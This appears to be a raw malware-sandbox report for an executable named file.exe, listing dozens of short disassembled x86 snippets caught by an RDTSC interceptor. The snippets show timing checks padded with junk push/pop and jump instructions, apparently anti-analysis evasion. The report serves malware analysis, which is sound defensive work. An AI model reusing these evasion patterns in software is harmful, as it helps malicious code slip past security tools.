Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61610A second address: 61614F instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA6C4D39086h 0x00000008 jmp 00007FA6C4D39092h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jl 00007FA6C4D3908Ch 0x00000015 jg 00007FA6C4D39086h 0x0000001b popad 0x0000001c je 00007FA6C4D390A2h 0x00000022 push esi 0x00000023 pushad 0x00000024 popad 0x00000025 pop esi 0x00000026 push eax 0x00000027 push edx 0x00000028 jmp 00007FA6C4D3908Ah 0x0000002d jl 00007FA6C4D39086h 0x00000033 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614EC8 second address: 614ECF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614ECF second address: 614ED5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 614ED5 second address: 614EDF instructions: 0x00000000 rdtsc 0x00000002 jns 00007FA6C4C2AB36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA5B7 second address: 5EA5BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA5BB second address: 5CAC46 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB3Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d push edi 0x0000000e call 00007FA6C4C2AB38h 0x00000013 pop edi 0x00000014 mov dword ptr [esp+04h], edi 0x00000018 add dword ptr [esp+04h], 0000001Ch 0x00000020 inc edi 0x00000021 push edi 0x00000022 ret 0x00000023 pop edi 0x00000024 ret 0x00000025 call dword ptr [ebp+122D35EAh] 0x0000002b jne 00007FA6C4C2AB3Eh 0x00000031 push eax 0x00000032 push edx 0x00000033 push edi 0x00000034 jmp 00007FA6C4C2AB3Ah 0x00000039 jmp 00007FA6C4C2AB3Dh 0x0000003e pop edi 0x0000003f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EA79A second address: 5EA7A4 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA6C4D39086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EACA9 second address: 5EACFD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push edi 0x0000000c jg 00007FA6C4C2AB38h 0x00000012 pop edi 0x00000013 mov eax, dword ptr [eax] 0x00000015 pushad 0x00000016 jng 00007FA6C4C2AB4Dh 0x0000001c jmp 00007FA6C4C2AB47h 0x00000021 push eax 0x00000022 push ebx 0x00000023 pop ebx 0x00000024 pop eax 0x00000025 popad 0x00000026 mov dword ptr [esp+04h], eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FA6C4C2AB44h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EAFB9 second address: 5EAFBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB12A second address: 5EB1D0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007FA6C4C2AB49h 0x0000000b nop 0x0000000c push 00000000h 0x0000000e push edi 0x0000000f call 00007FA6C4C2AB38h 0x00000014 pop edi 0x00000015 mov dword ptr [esp+04h], edi 0x00000019 add dword ptr [esp+04h], 0000001Dh 0x00000021 inc edi 0x00000022 push edi 0x00000023 ret 0x00000024 pop edi 0x00000025 ret 0x00000026 add dword ptr [ebp+1245955Dh], edx 0x0000002c push 00000004h 0x0000002e push 00000000h 0x00000030 push eax 0x00000031 call 00007FA6C4C2AB38h 0x00000036 pop eax 0x00000037 mov dword ptr [esp+04h], eax 0x0000003b add dword ptr [esp+04h], 00000018h 0x00000043 inc eax 0x00000044 push eax 0x00000045 ret 0x00000046 pop eax 0x00000047 ret 0x00000048 mov dx, di 0x0000004b or edi, dword ptr [ebp+1245A270h] 0x00000051 nop 0x00000052 pushad 0x00000053 push edi 0x00000054 push ecx 0x00000055 pop ecx 0x00000056 pop edi 0x00000057 push esi 0x00000058 jmp 00007FA6C4C2AB48h 0x0000005d pop esi 0x0000005e popad 0x0000005f push eax 0x00000060 push eax 0x00000061 push edx 0x00000062 jnp 00007FA6C4C2AB3Ch 0x00000068 jnl 00007FA6C4C2AB36h 0x0000006e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB571 second address: 5EB579 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB87A second address: 5EB87F instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB87F second address: 5EB896 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [eax] 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA6C4D3908Bh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB896 second address: 5EB8A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB8A0 second address: 5EB8A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB9E0 second address: 5EB9E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB9E8 second address: 5EBA19 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 popad 0x00000006 mov dword ptr [esp], eax 0x00000009 push esi 0x0000000a mov dword ptr [ebp+12457AB4h], edx 0x00000010 pop edi 0x00000011 lea eax, dword ptr [ebp+1248E2EAh] 0x00000017 mov edi, dword ptr [ebp+122D2FDAh] 0x0000001d push eax 0x0000001e mov di, ax 0x00000021 pop edi 0x00000022 push eax 0x00000023 js 00007FA6C4D39094h 0x00000029 push eax 0x0000002a push edx 0x0000002b ja 00007FA6C4D39086h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EBA19 second address: 5CB71F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov dword ptr [esp], eax 0x00000009 call dword ptr [ebp+122D26B5h] 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007FA6C4C2AB42h 0x00000016 push eax 0x00000017 push edx 0x00000018 jnc 00007FA6C4C2AB36h 0x0000001e jmp 00007FA6C4C2AB3Ah 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB71F second address: 5CB729 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA6C4D39086h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5CB729 second address: 5CB72F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ADB47 second address: 5ADB4B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5ADB4B second address: 5ADB55 instructions: 0x00000000 rdtsc 0x00000002 js 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6151D6 second address: 6151E0 instructions: 0x00000000 rdtsc 0x00000002 jg 00007FA6C4D39086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6154B6 second address: 6154F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jne 00007FA6C4C2AB49h 0x0000000f jns 00007FA6C4C2AB4Ah 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6157C3 second address: 6157DD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39092h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6157DD second address: 6157E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6157E3 second address: 6157E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61593E second address: 615948 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FA6C4C2AB36h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 615948 second address: 61595E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39092h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5979E6 second address: 5979F0 instructions: 0x00000000 rdtsc 0x00000002 jne 00007FA6C4C2AB36h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5979F0 second address: 5979F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5979F6 second address: 597A0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4C2AB42h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597A0C second address: 597A2A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D39092h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597A2A second address: 597A30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597A30 second address: 597A3C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 jl 00007FA6C4D39086h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597A3C second address: 597A52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA6C4C2AB40h 0x00000009 push ecx 0x0000000a pop ecx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 597A52 second address: 597A68 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4D3908Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A274 second address: 61A2A6 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push edi 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FA6C4C2AB48h 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 jmp 00007FA6C4C2AB3Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A2A6 second address: 61A2AA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61A2AA second address: 61A2C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push ebx 0x00000008 jno 00007FA6C4C2AB3Ch 0x0000000e pushad 0x0000000f push ecx 0x00000010 pop ecx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E0AE second address: 61E0C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4D39093h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 61E0C7 second address: 61E0D4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jnp 00007FA6C4C2AB36h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 621EE5 second address: 621F0F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA6C4D39086h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jne 00007FA6C4D39088h 0x00000010 push edi 0x00000011 jmp 00007FA6C4D39095h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622953 second address: 622959 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 622959 second address: 62295D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62713A second address: 62714C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB3Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62714C second address: 62715C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jc 00007FA6C4D39086h 0x0000000a jg 00007FA6C4D39086h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 627297 second address: 6272A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6282CA second address: 6282DE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnp 00007FA6C4D39086h 0x0000000a jmp 00007FA6C4D3908Ah 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6282DE second address: 628311 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 ja 00007FA6C4C2AB36h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e jc 00007FA6C4C2AB5Ah 0x00000014 push eax 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 push ecx 0x00000019 jmp 00007FA6C4C2AB48h 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B7AC second address: 62B7CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4D39096h 0x00000009 pushad 0x0000000a popad 0x0000000b jc 00007FA6C4D39086h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B7CF second address: 62B7D7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B7D7 second address: 62B7E1 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B7E1 second address: 62B7E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B1E9 second address: 62B1ED instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B1ED second address: 62B1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B1F3 second address: 62B1FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B36D second address: 62B383 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FA6C4C2AB3Ch 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B383 second address: 62B387 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B387 second address: 62B3AD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB42h 0x00000007 jmp 00007FA6C4C2AB3Bh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e popad 0x0000000f pushad 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B3AD second address: 62B3B3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62B3B3 second address: 62B3BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D94F second address: 62D95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 62D4E9 second address: 62D50C instructions: 0x00000000 rdtsc 0x00000002 jno 00007FA6C4C2AB36h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA6C4C2AB45h 0x00000011 push ecx 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632E1A second address: 632E25 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jne 00007FA6C4D39086h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632F76 second address: 632F7A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 632F7A second address: 632F8C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jl 00007FA6C4D3908Eh 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6330B6 second address: 6330BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633224 second address: 633228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63334B second address: 633351 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633351 second address: 63336A instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007FA6C4D39093h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB378 second address: 5EB37D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB37D second address: 5EB382 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB382 second address: 5EB3E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pop ecx 0x0000000c pushad 0x0000000d popad 0x0000000e popad 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 pop edx 0x00000013 popad 0x00000014 nop 0x00000015 and edi, 33F111E0h 0x0000001b mov ebx, dword ptr [ebp+1248E329h] 0x00000021 mov dword ptr [ebp+122D1FBEh], edi 0x00000027 add eax, ebx 0x00000029 push 00000000h 0x0000002b push edi 0x0000002c call 00007FA6C4C2AB38h 0x00000031 pop edi 0x00000032 mov dword ptr [esp+04h], edi 0x00000036 add dword ptr [esp+04h], 00000014h 0x0000003e inc edi 0x0000003f push edi 0x00000040 ret 0x00000041 pop edi 0x00000042 ret 0x00000043 jmp 00007FA6C4C2AB3Ch 0x00000048 push esi 0x00000049 add edi, dword ptr [ebp+122D288Dh] 0x0000004f pop ecx 0x00000050 nop 0x00000051 push eax 0x00000052 pushad 0x00000053 push edx 0x00000054 pop edx 0x00000055 push eax 0x00000056 push edx 0x00000057 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 5EB3E2 second address: 5EB441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 jl 00007FA6C4D39099h 0x0000000d jg 00007FA6C4D39093h 0x00000013 jmp 00007FA6C4D3908Dh 0x00000018 nop 0x00000019 jno 00007FA6C4D39089h 0x0000001f push 00000004h 0x00000021 sub dword ptr [ebp+122D1B91h], edx 0x00000027 nop 0x00000028 pushad 0x00000029 pushad 0x0000002a pushad 0x0000002b popad 0x0000002c pushad 0x0000002d popad 0x0000002e popad 0x0000002f jmp 00007FA6C4D39095h 0x00000034 popad 0x00000035 push eax 0x00000036 push eax 0x00000037 push edx 0x00000038 jg 00007FA6C4D3908Ch 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 633647 second address: 63364B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63364B second address: 63367D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA6C4D3908Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c push eax 0x0000000d pop eax 0x0000000e jmp 00007FA6C4D39095h 0x00000013 jns 00007FA6C4D39086h 0x00000019 popad 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6341FE second address: 634203 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637427 second address: 637433 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6377FE second address: 637840 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA6C4C2AB3Fh 0x00000007 ja 00007FA6C4C2AB36h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jno 00007FA6C4C2AB4Fh 0x00000015 push edi 0x00000016 push esi 0x00000017 pop esi 0x00000018 pop edi 0x00000019 popad 0x0000001a pushad 0x0000001b push eax 0x0000001c push edx 0x0000001d pushad 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6379F0 second address: 6379F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637BA2 second address: 637BD5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FA6C4C2AB48h 0x0000000d jmp 00007FA6C4C2AB43h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637BD5 second address: 637BDB instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637BDB second address: 637BE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637D1B second address: 637D24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 pushad 0x00000007 popad 0x00000008 pop ecx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 637D24 second address: 637D2A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
